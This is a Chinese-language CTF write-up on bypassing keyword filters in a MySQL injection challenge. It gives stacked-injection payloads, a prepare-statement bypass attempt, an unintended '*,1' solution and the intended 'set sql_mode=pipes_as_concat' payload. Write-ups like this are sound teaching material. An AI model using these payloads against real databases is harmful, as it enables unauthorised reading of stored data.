NineOnee

导航

 

mysql中sql_mode内的pipes_as_concat

前言

思路

先判断是数字型注入还是字符型注入,1'和1'-- +之后回显不正常,基本可以判定是数字型注入,然后fuzz测试发现过滤了挺多字符,如Flag,from,prepare,or,and

但是没有过滤分号(😉,试着用堆叠注入

1;show tables;# 回显表Flag

然后用

1;select * from Flag;# 回显nonono

这里存在过滤,我一直想着怎样绕过关键字的书写,如:Flag和from,然后想到了预编译

set @sql=concat('select * fr','om Fl','ag');
prepare aaa from @sql;
execute aaa;

没想到这里还过滤了prepare,好吧,没办法了看了wp

非预期解

根据回显输入除了0以外的数字返回1,输入0和字母时回显0,大佬可以猜出后台执行方式

select $_POST[query]||flag from Flag

构造*,1

得到flag

预期解

pipes_as_concat

补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

select sql_mode;
select @@global.sql_mode;
select @@session.sql_mode;



payload:

1;set sql_mode=pipes_as_concat;select 1

得到flag

posted on 2020-11-21 21:53  NineOne_E  阅读(2653)  评论(0编辑  收藏  举报